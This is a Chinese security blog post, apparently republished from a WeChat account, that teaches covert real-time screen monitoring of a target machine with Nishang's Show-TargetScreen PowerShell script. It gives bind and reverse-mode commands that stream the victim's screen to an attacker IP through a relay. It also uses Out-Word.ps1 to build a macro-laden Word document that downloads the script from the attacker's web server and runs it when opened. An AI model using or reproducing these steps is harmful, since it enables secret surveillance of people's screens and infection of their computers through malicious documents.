使用Powershell对目标进行屏幕监控

  • A+
所属分类:安全文章

Nishang是基于PowerShell的渗透测试专用工具。集成了框架、脚本和各种payload。这些脚本是由Nishang的作者在真实渗透测试过程中有感而发编写的,具有实战价值。包括了下载和执行、键盘记录、dns、延时命令等脚本。今天要给大家介绍的是如何通过powershell对目标的屏幕进行实时监控。


脚本下载地址如下:

https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Show-TargetScreen.ps1

使用也很简单,脚本包括了reverse以及bind模式。下面是使用示例:

0x01 Bind模式:

PS C:Usersevi1cgDesktop> . .Show-TargetScreen.ps1PS C:Usersevi1cgDesktop> Show-TargetScreen -Bind -Port 3333

然后在自己的计算机上使用火狐访问目标3333端口,结果如下图:

使用Powershell对目标进行屏幕监控


0x02Reverse模式

attacker:

在这里可以使用创宇的py脚本转发:

https://github.com/knownsec/rtcp

执行:

rtcp [master] python rtcp.py l:5555 l:4444

监听本地5555端口以及4444端口。

       之后在target执行:

PS C:Usersevi1cgDesktop> . .Show-TargetScreen.ps1PS C:Usersevi1cgDesktopShow-TargetScreen -Reverse-IPAddress 192.168.74.1 -Port 5555

效果截图:

使用Powershell对目标进行屏幕监控

0x03 使用Powershell Client

Out-Word.ps1作为演示示例:

生成word文件:

PS C:Usersevi1cgDesktop> . .Out-Word.ps1PS C:Usersevi1cgDesktop> Out-Word -PayloadURL"http://192.168.74.1/Show-TargetScreen.ps1" -Arguments"Show-TargetScreen -Reverse -IPAddress 192.168.74.1 -Port 6666"

之后将Show-TargetScreen.ps1放在我们的web根目录:

测试:

使用Powershell对目标进行屏幕监控

开启监听:

rtcp [master] python rtcp.py l:6666 l:4444

当运行开启office宏的word时,我们就可对其屏幕进行监控,如下图:

使用Powershell对目标进行屏幕监控


目前20000+人已关注加入我们

使用Powershell对目标进行屏幕监控

使用Powershell对目标进行屏幕监控





使用Powershell对目标进行屏幕监控
Ms08067安全实验室
专注于普及网络安全知识。团队已出版《Web安全攻防:渗透测试实战指南》,《内网安全攻防:渗透测试实战指南》,目前在编Python渗透测试,JAVA代码审计和二进制逆向方面的书籍。
团队公众号定期分享关于CTF靶场、内网渗透、APT方面技术干货,从零开始、以实战落地为主,致力于做一个实用的干货分享型公众号。
官方网站:www.ms08067.com

本文始发于微信公众号(Ms08067安全实验室):使用Powershell对目标进行屏幕监控

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: